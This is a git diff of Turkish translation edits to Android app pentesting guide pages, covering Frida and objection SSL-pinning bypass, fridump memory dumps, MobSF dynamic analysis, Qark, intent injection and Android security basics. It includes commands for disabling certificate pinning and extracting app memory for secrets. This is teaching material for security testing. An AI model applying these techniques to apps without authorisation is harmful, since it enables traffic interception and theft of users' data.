[https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) - **SSL Pinning'i otomatik olarak aşmak için** [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` - **SSL Pinning'i otomatik olarak aşmak için** **MobSF dinamik analizi** (aşağıda açıklandığı gibi) deneyebilirsiniz. @@ -429,7 +429,7 @@ Android uygulamalarını pentest etmek istiyorsanız Frida'yı nasıl kullanaca - Frida'yı nasıl kullanacağınızı öğrenin: [**Frida eğitimi**](frida-tutorial/index.html) - Frida ile eylemler için bazı "GUI": [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) -- Ojection, Frida kullanımını otomatikleştirmek için harikadır: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) +- Ojection, Frida kullanımını otomatikleştirmek için harika: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) - Burada bazı harika Frida betikleri bulabilirsiniz: [**https://codeshare.frida.re/**](https://codeshare.frida.re) - Frida'yı [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) adresinde belirtildiği gibi yükleyerek anti-debugging / anti-frida mekanizmalarını aşmayı deneyin (araç [linjector](https://github.com/erfur/linjector-rs)) @@ -446,13 +446,13 @@ python3 fridump3.py -u frida-ps -Uai python3 fridump3.py -u "" ``` -Bu, ./dump klasöründe belleği dökecektir ve orada şunlarla grep yapabilirsiniz: +Bu, belleği ./dump klasörüne dökecektir ve burada şunlarla grep yapabilirsiniz: ```bash strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$" ``` ### **Keystore'daki Hassas Veriler** -Android'de Keystore, hassas verileri saklamak için en iyi yerdir, ancak yeterli ayrıcalıklara sahip olunduğunda **erişmek mümkündür**. Uygulamalar burada **hassas verileri düz metin olarak** saklama eğiliminde olduğundan, pentestlerin bunu kontrol etmesi gerekir; çünkü root kullanıcı veya cihaza fiziksel erişimi olan biri bu verileri çalabilir. +Android'de Keystore, hassas verileri saklamak için en iyi yerdir, ancak yeterli ayrıcalıklara sahip olunduğunda **erişim sağlamak mümkündür**. Uygulamalar burada genellikle **hassas verileri düz metin olarak** sakladığı için pentestler, bu verileri çalabilecek fiziksel erişime sahip birinin veya root kullanıcısının kontrolünde kontrol edilmelidir. Bir uygulama verileri keystore'da saklasa bile, verilerin şifrelenmiş olması gerekir. @@ -474,7 +474,7 @@ Ancak, bu anlık görüntü **hassas bilgiler** içeriyorsa, anlık görüntüye Anlık görüntüler genellikle şurada saklanır: **`/data/system_ce/0/snapshots`** -Android, **FLAG_SECURE** düzen parametresini ayarlayarak ekran görüntüsü alımını **önlemenin** bir yolunu sunar. Bu bayrağı kullanarak, pencere içeriği güvenli olarak kabul edilir, ekran görüntülerinde görünmesini veya güvenli olmayan ekranlarda görüntülenmesini engeller. +Android, **FLAG_SECURE** düzen parametresini ayarlayarak ekran görüntüsü alımını **önlemenin** bir yolunu sağlar. Bu bayrağı kullanarak, pencere içeriği güvenli olarak kabul edilir, bu da ekran görüntülerinde görünmesini veya güvenli olmayan ekranlarda görüntülenmesini engeller. ```bash getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE); ``` @@ -486,23 +486,23 @@ Bu araç, dinamik analiz sırasında farklı araçları yönetmenize yardımcı Geliştiriciler genellikle bu Intents'leri işleyen ve `startActivity(...)` veya `sendBroadcast(...)` gibi yöntemlere ileten proxy bileşenleri, aktiviteleri, hizmetleri ve yayın alıcıları oluştururlar; bu da riskli olabilir. -Tehlike, saldırganların bu Intents'leri yanlış yönlendirerek dışa aktarılmamış uygulama bileşenlerini tetiklemelerine veya hassas içerik sağlayıcılarına erişmelerine izin vermekte yatmaktadır. Dikkate değer bir örnek, URL'leri `Intent` nesnelerine dönüştüren `WebView` bileşenidir; bu, `Intent.parseUri(...)` aracılığıyla yapılır ve ardından bunları çalıştırarak kötü niyetli Intent enjeksiyonlarına yol açabilir. +Tehlike, saldırganların bu Intents'leri yanlış yönlendirerek dışa aktarılmamış uygulama bileşenlerini tetiklemelerine veya hassas içerik sağlayıcılarına erişmelerine izin vermekte yatmaktadır. Dikkate değer bir örnek, URL'leri `Intent` nesnelerine dönüştüren `WebView` bileşenidir; `Intent.parseUri(...)` aracılığıyla bunları işleyip çalıştırabilir, bu da kötü niyetli Intent enjeksiyonlarına yol açabilir. ### Temel Çıkarımlar - **Intent Enjeksiyonu**, webin Açık Yönlendirme sorununa benzer. -- Sömürü, `Intent` nesnelerini ekstra olarak geçirmeyi içerir; bu, güvensiz işlemleri yürütmek için yönlendirilebilir. +- Sömürü, `Intent` nesnelerini ekstra olarak geçirmeyi içerir; bu da güvensiz işlemleri yürütmek için yönlendirilebilir. - Dışa aktarılmamış bileşenleri ve içerik sağlayıcılarını saldırganlara açabilir. - `WebView`’in URL'den `Intent` dönüşümü, istenmeyen eylemleri kolaylaştırabilir. ### Android İstemci Tarafı Enjeksiyonları ve Diğerleri -Bu tür güvenlik açıkları hakkında Web'den haberdar olmalısınız. Bir Android uygulamasında bu güvenlik açıklarına özellikle dikkat etmelisiniz: +Bu tür zafiyetler hakkında Web'den haberdar olmalısınız. Android uygulamasında bu zafiyetlere karşı özellikle dikkatli olmalısınız: - **SQL Enjeksiyonu:** Dinamik sorgular veya İçerik Sağlayıcılarla çalışırken, parametreli sorgular kullandığınızdan emin olun. - **JavaScript Enjeksiyonu (XSS):** Herhangi bir WebView için JavaScript ve Eklenti desteğinin devre dışı olduğundan emin olun (varsayılan olarak devre dışıdır). [Daha fazla bilgi burada](webview-attacks.md#javascript-enabled). - **Yerel Dosya Dahil Etme:** WebView'lerin dosya sistemine erişimi devre dışı olmalıdır (varsayılan olarak etkindir) - `(webview.getSettings().setAllowFileAccess(false);)`. [Daha fazla bilgi burada](webview-attacks.md#javascript-enabled). -- **Sonsuz çerezler**: Birçok durumda, android uygulaması oturumu bitirdiğinde çerez iptal edilmez veya hatta diske kaydedilebilir. +- **Sonsuz çerezler**: Android uygulaması oturumu bitirdiğinde çerez iptal edilmez veya hatta diske kaydedilebilir. - [**Çerezlerde Güvenli Bayrak**](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags) --- @@ -523,39 +523,39 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest MobSF, **Android**(apk)**, IOS**(ipa) **ve Windows**(apx) uygulamalarını (_Windows uygulamaları, Windows ana bilgisayarında kurulu bir MobSF'den analiz edilmelidir_) analiz edebilir.\ Ayrıca, bir **Android** veya **IOS** uygulamasının kaynak koduyla bir **ZIP** dosyası oluşturursanız (uygulamanın kök klasörüne gidin, her şeyi seçin ve bir ZIP dosyası oluşturun), bunu da analiz edebilecektir. -MobSF ayrıca **diff/karşılaştırma** analizi yapmanıza ve **VirusTotal** ile entegre olmanıza olanak tanır (API anahtarınızı _MobSF/settings.py_ dosyasında ayarlamanız ve etkinleştirmeniz gerekecek: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). `VT_UPLOAD`'ı `False` olarak ayarlayabilirsiniz, bu durumda **hash** dosya yerine **yüklenir**. +MobSF ayrıca **diff/Compare** analizi yapmanıza ve **VirusTotal** ile entegre olmanıza olanak tanır (API anahtarınızı _MobSF/settings.py_ dosyasına ayarlamanız ve etkinleştirmeniz gerekecek: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). Ayrıca `VT_UPLOAD`'ı `False` olarak ayarlayabilirsiniz, bu durumda **hash** dosya yerine **yüklenir**. ### MobSF ile Yardımlı Dinamik Analiz -**MobSF**, **Android** için **dinamik analiz** konusunda da çok yardımcı olabilir, ancak bu durumda MobSF ve **genymotion**'ı ana bilgisayarınıza kurmanız gerekecek (bir VM veya Docker çalışmayacaktır). _Not: Önce **genymotion'da bir VM başlatmalısınız** ve **sonra MobSF'yi başlatmalısınız.**_\ +**MobSF**, **Android**'de **dinamik analiz** için de çok yardımcı olabilir, ancak bu durumda MobSF ve **genymotion**'ı ana bilgisayarınıza kurmanız gerekecek (bir VM veya Docker çalışmayacaktır). _Not: Önce **genymotion'da bir VM başlatmalısınız** ve **sonra MobSF'yi başlatmalısınız.**_\ **MobSF dinamik analizörü** şunları yapabilir: -- **Uygulama verilerini dökme** (URL'ler, günlükler, panoya kopyalanan veriler, sizin yaptığınız ekran görüntüleri, "**Exported Activity Tester**" tarafından yapılan ekran görüntüleri, e-postalar, SQLite veritabanları, XML dosyaları ve diğer oluşturulan dosyalar). Tüm bunlar otomatik olarak yapılır, ekran görüntüleri için istediğinizde basmanız veya tüm dışa aktarılan aktivitelerin ekran görüntülerini elde etmek için "**Exported Activity Tester**" butonuna basmanız gerekir. +- **Uygulama verilerini dökme** (URL'ler, günlükler, panoya kopyalananlar, sizin yaptığınız ekran görüntüleri, "**Exported Activity Tester**" tarafından yapılan ekran görüntüleri, e-postalar, SQLite veritabanları, XML dosyaları ve diğer oluşturulan dosyalar). Tüm bunlar otomatik olarak yapılır, ekran görüntüleri için istediğinizde basmanız veya tüm dışa aktarılan etkinliklerin ekran görüntülerini almak için "**Exported Activity Tester**" butonuna basmanız gerekir. - **HTTPS trafiğini yakalama** - **Çalışma zamanı** **bilgilerini** elde etmek için **Frida** kullanma -Android **sürümleri > 5** için, **Frida**'yı **otomatik olarak başlatacak** ve trafiği **yakalamak** için global **proxy** ayarlarını ayarlayacaktır. Sadece test edilen uygulamadan gelen trafiği yakalayacaktır. +Android **sürümleri > 5**'ten itibaren, **Frida**'yı **otomatik olarak başlatacak** ve trafiği **yakalamak** için global **proxy** ayarlarını ayarlayacaktır. Sadece test edilen uygulamadan gelen trafiği yakalayacaktır. **Frida** -Varsayılan olarak, **SSL pinning**'i **bypass** etmek, **root tespiti** ve **debugger tespiti** yapmak ve **ilginç API'leri** izlemek için bazı Frida Script'lerini de kullanacaktır.\ -MobSF ayrıca **dışa aktarılan aktiviteleri** çağırabilir, bunların **ekran görüntülerini** alabilir ve rapor için **kaydedebilir**. +Varsayılan olarak, **SSL pinning**'i **bypass** etmek, **root tespiti** ve **hata ayıklayıcı tespiti** yapmak ve **ilginç API'leri** izlemek için bazı Frida Script'lerini de kullanacaktır.\ +MobSF ayrıca **dışa aktarılan etkinlikleri** çağırabilir, bunların **ekran görüntülerini** alabilir ve rapor için **kaydedebilir**. Dinamik testi **başlatmak** için yeşil butona basın: "**Start Instrumentation**". Frida script'leri tarafından üretilen günlükleri görmek için "**Frida Live Logs**" butonuna basın ve bağlı yöntemlere yapılan tüm çağrıları, geçirilen argümanları ve döndürülen değerleri görmek için "**Live API Monitor**" butonuna basın (bu, "Start Instrumentation" butonuna bastıktan sonra görünecektir).\ -MobSF ayrıca kendi **Frida script'lerinizi** yüklemenize olanak tanır (Frida script'lerinizin sonuçlarını MobSF'ye göndermek için `send()` fonksiyonunu kullanın). Ayrıca yükleyebileceğiniz **birçok önceden yazılmış script** vardır (daha fazlasını `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` dizinine ekleyebilirsiniz), sadece **seçin**, "**Load**" butonuna basın ve "**Start Instrumentation**" butonuna basın (o script'lerin günlüklerini "**Frida Live Logs**" içinde görebileceksiniz). +MobSF ayrıca kendi **Frida script'lerinizi** yüklemenize olanak tanır (Frida script'lerinizin sonuçlarını MobSF'ye göndermek için `send()` fonksiyonunu kullanın). Ayrıca yükleyebileceğiniz **birçok önceden yazılmış script** vardır (daha fazlasını `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` dizinine ekleyebilirsiniz), sadece **seçin**, "**Load**" butonuna basın ve "**Start Instrumentation**" butonuna basın (bu script'lerin günlüklerini "**Frida Live Logs**" içinde görebileceksiniz). ![](<../../images/image (419).png>) Ayrıca, bazı Yardımcı Frida işlevsellikleriniz var: -- **Yüklenen Sınıfları Listele**: Tüm yüklenen sınıfları yazdırır -- **Dizeleri Yakala**: Uygulamayı kullanırken tüm yakalanan dizeleri yazdırır (çok gürültülü) -- **Dize Karşılaştırmalarını Yakala**: Çok faydalı olabilir. **Karşılaştırılan 2 dizeyi** ve sonucun True veya False olup olmadığını **gösterir**. -- **Sınıf Yöntemlerini Listele**: Sınıf adını (örneğin "java.io.File") girin ve sınıfın tüm yöntemlerini yazdırır. -- **Sınıf Deseni Ara**: Desene göre sınıfları arar -- **Sınıf Yöntemlerini İzle**: **Bütün bir sınıfı izler** (sınıfın tüm yöntemlerinin giriş ve çıkışlarını görür). Unutmayın ki varsayılan olarak MobSF, birkaç ilginç Android API yöntemini izler. +- **Yüklenen Sınıfları Sayma**: Tüm yüklenen sınıfları yazdırır +- **Dizeleri Yakalama**: Uygulamayı kullanırken tüm yakalanan dizeleri yazdırır (çok gürültülü) +- **Dize Karşılaştırmalarını Yakalama**: Çok faydalı olabilir. **Karşılaştırılan 2 dizeyi** ve sonucun True veya False olup olmadığını **gösterir**. +- **Sınıf Yöntemlerini Sayma**: Sınıf adını (örneğin "java.io.File") yazın ve sınıfın tüm yöntemlerini yazdırır. +- **Sınıf Deseni Arama**: Desene göre sınıfları arar +- **Sınıf Yöntemlerini İzleme**: **Bütün bir sınıfı izler** (sınıfın tüm yöntemlerinin giriş ve çıkışlarını görür). Unutmayın ki varsayılan olarak MobSF, birkaç ilginç Android API yöntemini izler. -Kullanmak istediğiniz yardımcı modülü seçtikten sonra "**Start Instrumentation**" butonuna basmanız gerekir ve tüm çıktıları "**Frida Live Logs**" içinde göreceksiniz. +Kullanmak istediğiniz yardımcı modülü seçtikten sonra "**Start Intrumentation**" butonuna basmanız gerekir ve tüm çıktıları "**Frida Live Logs**" içinde göreceksiniz. **Shell** @@ -570,13 +570,13 @@ receivers ``` **HTTP araçları** -HTTP trafiği yakalandığında, "**HTTP(S) Trafik**" altındaki yakalanan trafiğin çirkin bir görünümünü veya "**HTTPTools'u Başlat**" yeşil butonundaki daha güzel bir görünümünü görebilirsiniz. İkinci seçenekten, **yakalanan istekleri** Burp veya Owasp ZAP gibi **proxy'lere** **gönderebilirsiniz**.\ -Bunu yapmak için, _Burp'ı açın -->_ _Intercept'i kapatın --> MobSB HTTPTools'da isteği seçin_ --> "**Fuzzer'a Gönder**" butonuna basın --> _proxy adresini seçin_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). +HTTP trafiği yakalandığında, "**HTTP(S) Trafik**" altındaki yakalanan trafiğin çirkin bir görünümünü veya "**HTTP Araçlarını Başlat**" yeşil butonundaki daha güzel bir görünümünü görebilirsiniz. İkinci seçenekten, **yakalanan istekleri** Burp veya Owasp ZAP gibi **proxy'lere** **gönderebilirsiniz**.\ +Bunu yapmak için, _Burp'ı açın -->_ _Intercept'i kapatın --> MobSB HTTP Araçları'nda isteği seçin_ --> "**Fuzzer'a Gönder**" butonuna basın --> _proxy adresini seçin_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). MobSF ile dinamik analizi tamamladıktan sonra, **http isteklerini fuzzlamak** ve güvenlik açıklarını aramak için "**Web API Fuzzer'ı Başlat**" butonuna basabilirsiniz. > [!NOTE] -> MobSF ile dinamik analiz gerçekleştirdikten sonra proxy ayarları yanlış yapılandırılmış olabilir ve bunları GUI'den düzeltemezsiniz. Proxy ayarlarını düzeltmek için: +> MobSF ile dinamik bir analiz gerçekleştirdikten sonra proxy ayarları yanlış yapılandırılmış olabilir ve bunları GUI'den düzeltemezsiniz. Proxy ayarlarını düzeltmek için: > > ``` > adb shell settings put global http_proxy :0 @@ -595,7 +595,7 @@ Bu, **GUI ile statik analiz gerçekleştirmek için harika bir araçtır.** ### [Qark](https://github.com/linkedin/qark) -Bu araç, **kaynak kodunda** veya **paketlenmiş APK'larda** çeşitli **güvenlik ile ilgili Android uygulama açıklarını** aramak için tasarlanmıştır. Araç ayrıca, bulunan bazı güvenlik açıklarını (Açık aktiviteler, intentler, tapjacking...) istismar etmek için **"Proof-of-Concept" dağıtılabilir APK** ve **ADB komutları** oluşturma yeteneğine de sahiptir. Drozer ile olduğu gibi, test cihazını rootlamaya gerek yoktur. +Bu araç, **kaynak kodunda** veya **paketlenmiş APK'larda** çeşitli **güvenlik ile ilgili Android uygulama açıklarını** aramak için tasarlanmıştır. Araç ayrıca, bulunan bazı güvenlik açıklarını (Açık aktiviteler, intentler, tapjacking...) istismar etmek için **"Proof-of-Concept" dağıtılabilir APK** ve **ADB komutları** oluşturma yeteneğine de sahiptir. Drozer ile olduğu gibi, test cihazını root etmenize gerek yoktur. ```bash pip3 install --user qark # --user is only needed if not using a virtualenv qark --apk path/to/my.apk @@ -631,7 +631,7 @@ StaCoAn, geliştiricilere, bugbounty avcılarına ve etik hackerlara mobil uygul Kavram, mobil uygulama dosyanızı (bir .apk veya .ipa dosyası) StaCoAn uygulamasına sürükleyip bırakmanız ve bunun için size görsel ve taşınabilir bir rapor oluşturmasıdır. Özelleştirilmiş bir deneyim elde etmek için ayarları ve kelime listelerini değiştirebilirsiniz. -[En son sürümü](https://github.com/vincentcox/StaCoAn/releases) indirin: +İndir[ en son sürüm](https://github.com/vincentcox/StaCoAn/releases): ``` ./stacoan ``` @@ -657,7 +657,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ![](<../../images/image (595).png>) -**MARA**, **Mobil Uygulama Tersine Mühendislik ve Analiz Çerçevesi**dir. Bu, mobil uygulamaları OWASP mobil güvenlik tehditlerine karşı test etmeye yardımcı olmak için yaygın olarak kullanılan mobil uygulama tersine mühendislik ve analiz araçlarını bir araya getiren bir araçtır. Amacı, bu görevi mobil uygulama geliştiricileri ve güvenlik profesyonelleri için daha kolay ve daha dostane hale getirmektir. +**MARA**, **Mobil Uygulama** **Tersine Mühendislik** ve **Analiz** Çerçevesidir. Bu, mobil uygulamaları OWASP mobil güvenlik tehditlerine karşı test etmeye yardımcı olmak için yaygın olarak kullanılan mobil uygulama tersine mühendislik ve analiz araçlarını bir araya getiren bir araçtır. Amacı, bu görevi mobil uygulama geliştiricileri ve güvenlik profesyonelleri için daha kolay ve daha dostane hale getirmektir. Şunları yapabilir: @@ -666,7 +666,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 - Regex kullanarak APK'dan özel bilgileri çıkarmak. - Manifest'i analiz etmek. - Bulunan alan adlarını analiz etmek için: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) ve [whatweb](https://github.com/urbanadventurer/WhatWeb) -- APK'yi [apk-deguard.com](http://www.apk-deguard.com) üzerinden deşifre etmek. +- APK'yı [apk-deguard.com](http://www.apk-deguard.com) üzerinden deşifre etmek. ### Koodous @@ -686,12 +686,12 @@ ProGuard, Android SDK'nın bir parçası olarak dağıtılır ve uygulama yayın APK'yı deşifre etmek için adım adım bir kılavuzu [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) adresinde bulabilirsiniz. -(Bu kılavuzdan) Son kontrol ettiğimizde, Dexguard çalışma modu şuydu: +(Bu kılavuzdan) En son kontrol ettiğimizde, Dexguard çalışma modu şuydu: - Bir kaynağı InputStream olarak yüklemek; -- Sonucu deşifre etmek için FilterInputStream'den türetilmiş bir sınıfa beslemek; +- Sonucu deşifre etmek için FilterInputStream'den türetilen bir sınıfa beslemek; - Bir tersine mühendislik uzmanının birkaç dakikasını boşa harcamak için gereksiz obfuscation yapmak; -- Deşifre edilmiş sonucu bir ZipInputStream'e besleyerek bir DEX dosyası almak; +- Deşifre edilmiş sonucu bir ZipInputStream'e beslemek ve bir DEX dosyası almak; - Son olarak, elde edilen DEX'i `loadDex` yöntemi kullanarak bir Kaynak olarak yüklemek. ### [DeGuard](http://apk-deguard.com) @@ -710,7 +710,7 @@ Bu, **genel bir android deobfuscator'dır.** Simplify, bir uygulamayı **sanalla ### [APKiD](https://github.com/rednaga/APKiD) -APKiD, **bir APK'nın nasıl yapıldığını** size bildirir. Birçok **derleyici**, **paketleyici**, **obfuscator** ve diğer garip şeyleri tanımlar. Android için [_PEiD_](https://www.aldeid.com/wiki/PEiD) gibidir. +APKiD, **bir APK'nın nasıl yapıldığını** size bilgi verir. Birçok **derleyici**, **paketleyici**, **obfuscator** ve diğer garip şeyleri tanımlar. Android için [_PEiD_](https://www.aldeid.com/wiki/PEiD) gibidir. ### Manual diff --git a/src/mobile-pentesting/android-app-pentesting/android-applications-basics.md b/src/mobile-pentesting/android-app-pentesting/android-applications-basics.md index c9c51c16e..086e5e3f1 100644 --- a/src/mobile-pentesting/android-app-pentesting/android-applications-basics.md +++ b/src/mobile-pentesting/android-app-pentesting/android-applications-basics.md @@ -21,14 +21,14 @@ ### Sandbox **Android Uygulama Sandbox'ı**, **her uygulamanın** **ayrı bir kullanıcı kimliği altında ayrı bir işlem olarak çalıştırılmasına olanak tanır**. Her işlem kendi sanal makinesine sahiptir, bu nedenle bir uygulamanın kodu diğer uygulamalardan izole bir şekilde çalışır.\ -Android 5.0(L) itibarıyla **SELinux** uygulanmaktadır. Temelde, SELinux tüm işlem etkileşimlerini reddetti ve ardından **yalnızca beklenen etkileşimlere izin verecek politikalar oluşturdu**. +Android 5.0(L) itibarıyla **SELinux** uygulanmaktadır. Temelde, SELinux tüm işlem etkileşimlerini reddetti ve ardından **aralarındaki beklenen etkileşimlere yalnızca izin vermek için politikalar oluşturdu**. ### İzinler Bir **uygulama yüklendiğinde ve izinler istediğinde**, uygulama **AndroidManifest.xml** dosyasındaki **`uses-permission`** öğelerinde yapılandırılan izinleri istemektedir. **uses-permission** öğesi, istenen iznin adını **name** **özniteliği içinde belirtir.** Ayrıca, belirtilen sürümden daha yüksek sürümlerde izin istemeyi durduran **maxSdkVersion** özniteliğine de sahiptir.\ -Android uygulamalarının başlangıçta tüm izinleri istemesi gerekmediğini, dinamik olarak da **izin isteyebileceğini** unutmayın, ancak tüm izinler **manifestoda** **bildirilmelidir.** +Android uygulamaları başlangıçta tüm izinleri istemek zorunda değildir, ayrıca **dinamik olarak izin isteyebilirler**, ancak tüm izinler **manifestoda** **belirtilmelidir.** -Bir uygulama işlevsellik sunduğunda, **yalnızca belirli bir izne sahip uygulamalara erişimi sınırlayabilir**.\ +Bir uygulama işlevsellik açığa çıkardığında, **yalnızca belirli bir izne sahip uygulamalara erişimi sınırlayabilir**.\ Bir izin öğesinin üç özniteliği vardır: - İznin **adı** @@ -45,14 +45,14 @@ Bu uygulamalar genellikle **`/system/app`** veya **`/system/priv-app`** dizinler - **AOSP** (Android Açık Kaynak Projesi) **ROM** ile birlikte gelenler - Cihaz **üreticisi** tarafından eklenenler -- Hücresel **telefon sağlayıcısı** tarafından eklenenler (eğer onlardan satın alındıysa) +- **Telefon sağlayıcısı** tarafından eklenenler (eğer onlardan satın alındıysa) ## Rootlama Bir fiziksel android cihazda root erişimi elde etmek için genellikle **1 veya 2 güvenlik açığını istismar etmeniz** gerekir; bu açılar genellikle **cihaz** ve **sürüm** için **özeldir**.\ -İstismar çalıştığında, genellikle Linux `su` ikili dosyası kullanıcının PATH ortam değişkeninde belirtilen bir konuma kopyalanır, örneğin `/system/xbin`. +İstismar çalıştığında, genellikle Linux `su` ikili dosyası, kullanıcının PATH ortam değişkeninde belirtilen bir konuma, örneğin `/system/xbin`'e kopyalanır. -Su ikili dosyası yapılandırıldıktan sonra, `su` ikili dosyası ile etkileşimde bulunmak için başka bir Android uygulaması kullanılır ve **root erişimi için istekleri işler**; örneğin **Superuser** ve **SuperSU** (Google Play mağazasında mevcuttur). +Su ikili dosyası yapılandırıldıktan sonra, `su` ikili dosyası ile etkileşimde bulunmak için başka bir Android uygulaması kullanılır ve **root erişimi için istekleri işler**; bu uygulamalar **Superuser** ve **SuperSU** (Google Play mağazasında mevcuttur). > [!CAUTION] > Rootlama işleminin çok tehlikeli olduğunu ve cihazı ciddi şekilde zarar verebileceğini unutmayın. @@ -66,7 +66,7 @@ Su ikili dosyası yapılandırıldıktan sonra, `su` ikili dosyası ile etkileş ### Sonuçlar -Bir cihaz rootlandığında, herhangi bir uygulama root olarak erişim isteyebilir. Kötü niyetli bir uygulama bunu elde ederse, neredeyse her şeye erişimi olacak ve telefonu zarar verebilecektir. +Bir cihaz rootlandığında, herhangi bir uygulama root olarak erişim isteyebilir. Eğer kötü niyetli bir uygulama bunu elde ederse, neredeyse her şeye erişimi olacak ve telefonu zarar verebilecektir. ## Android Uygulama Temelleri @@ -74,7 +74,7 @@ Bir cihaz rootlandığında, herhangi bir uygulama root olarak erişim isteyebil - APK İçerikleri (kapsamlı değil) - **AndroidManifest.xml** - resources.arsc/strings.xml -- resources.arsc: ikili XML gibi önceden derlenmiş kaynakları içerir. +- resources.arsc: önceden derlenmiş kaynakları, ikili XML gibi içerir. - res/xml/files_paths.xml - META-INF/ - Sertifikanın bulunduğu yer burasıdır! @@ -85,9 +85,9 @@ Bir cihaz rootlandığında, herhangi bir uygulama root olarak erişim isteyebil - `armeabi`: ARM tabanlı işlemciler için kod - `armeabi-v7a`: ARMv7 ve daha yüksek tabanlı işlemciler için kod - `x86`: X86 işlemciler için kod -- `mips`: yalnızca MIPS işlemciler için kod +- `mips`: yalnızca MIPS işlemcileri için kod - assets/ -- Uygulamanın ihtiyaç duyduğu çeşitli dosyaları depolar; bunlar ek yerel kütüphaneler veya DEX dosyaları içerebilir, bazen kötü amaçlı yazılım yazarları tarafından ek kodu gizlemek için kullanılır. +- Uygulamanın ihtiyaç duyduğu çeşitli dosyaları depolar; bunlar, bazen kötü amaçlı yazılım yazarları tarafından ek kodu gizlemek için kullanılan ek yerel kütüphaneler veya DEX dosyalarını içerebilir. - res/ - resources.arsc içine derlenmemiş kaynakları içerir. @@ -95,7 +95,7 @@ Bir cihaz rootlandığında, herhangi bir uygulama root olarak erişim isteyebil Android geliştirmede, **Java veya Kotlin** uygulama oluşturmak için kullanılır. Masaüstü uygulamalarındaki gibi JVM kullanmak yerine, Android bu kodu **Dalvik Executable (DEX) bytecode**'a derler. Daha önce, Dalvik sanal makinesi bu bytecode'u yönetiyordu, ancak şimdi, daha yeni Android sürümlerinde Android Runtime (ART) devralmıştır. -Tersine mühendislik için, **Smali** kritik hale gelir. DEX bytecode'un insan tarafından okunabilir versiyonudur ve kaynak kodunu bytecode talimatlarına çevirerek montaj dili gibi davranır. Smali ve baksmali, bu bağlamda montaj ve ayrıştırma araçlarını ifade eder. +Tersine mühendislik için, **Smali** kritik hale gelir. Bu, DEX bytecode'un insan tarafından okunabilir versiyonudur ve kaynak kodunu bytecode talimatlarına çevirerek montaj dili gibi işlev görür. Smali ve baksmali, bu bağlamda montaj ve ayrıştırma araçlarını ifade eder. ## Niyetler @@ -114,21 +114,21 @@ Eğer savunmasızsa, **Niyetler çeşitli saldırılar gerçekleştirmek için k ### Niyet-Filtre -**Niyet Filtreleri**, **bir aktivite, hizmet veya Yayın Alıcısının farklı türdeki Niyetlerle nasıl etkileşimde bulunabileceğini tanımlar**. Temelde, bu bileşenlerin hangi eylemleri gerçekleştirebileceği veya hangi tür yayınları işleyebileceği gibi yeteneklerini tanımlar. Bu filtreleri bildirmek için birincil yer **AndroidManifest.xml dosyasıdır**, ancak Yayın Alıcıları için kodlamak da bir seçenektir. +**Niyet Filtreleri**, **bir aktivite, hizmet veya Yayın Alıcısının farklı türdeki Niyetlerle nasıl etkileşimde bulunabileceğini tanımlar**. Temelde, bu bileşenlerin hangi eylemleri gerçekleştirebileceği veya hangi tür yayınları işleyebileceği gibi yeteneklerini tanımlar. Bu filtreleri beyan etmenin birincil yeri **AndroidManifest.xml dosyasıdır**, ancak Yayın Alıcıları için kodlama da bir seçenek olabilir. -Niyet Filtreleri, kategoriler, eylemler ve veri filtrelerinden oluşur ve ek meta verilerin dahil edilmesi mümkündür. Bu yapı, bileşenlerin belirtilen kriterlere uyan belirli Niyetleri işleyebilmesine olanak tanır. +Niyet Filtreleri, kategoriler, eylemler ve veri filtrelerinden oluşur ve ek meta verilerin dahil edilmesi mümkündür. Bu yapı, bileşenlerin beyan edilen kriterlere uyan belirli Niyetleri işleyebilmesini sağlar. -Android bileşenlerinin (aktivite/hizmet/içerik sağlayıcıları/yayın alıcıları) kritik bir yönü, görünürlükleri veya **kamusal durumlarıdır**. Bir bileşen, **`exported`** değeri **`true`** olarak ayarlandığında kamuya açık kabul edilir ve diğer uygulamalarla etkileşimde bulunabilir. Ancak, geliştiricilerin bu bileşenleri özel tutmak için açık bir şekilde ayarlama seçeneği vardır; bu, diğer uygulamalarla istemeden etkileşimde bulunmamalarını sağlamak için **`exported`** özniteliğini **`false`** olarak ayarlamakla gerçekleştirilir. +Android bileşenlerinin (aktivite/hizmet/içerik sağlayıcıları/yayın alıcıları) kritik bir yönü, görünürlükleri veya **kamusal durumlarıdır**. Bir bileşen, **`exported`** değeri **`true`** olarak ayarlandığında kamuya açık kabul edilir ve diğer uygulamalarla etkileşimde bulunabilir. Ancak, geliştiricilerin bu bileşenleri özel tutma seçeneği vardır; bu, diğer uygulamalarla istemeden etkileşimde bulunmamalarını sağlamak için **`exported`** özniteliğini **`false`** olarak ayarlamakla gerçekleştirilir. -Ayrıca, geliştiricilerin bu bileşenlere erişimi daha da güvence altına almak için belirli izinler talep etme seçeneği vardır. **`permission`** özniteliği, yalnızca belirlenen izne sahip uygulamaların bileşene erişebileceğini 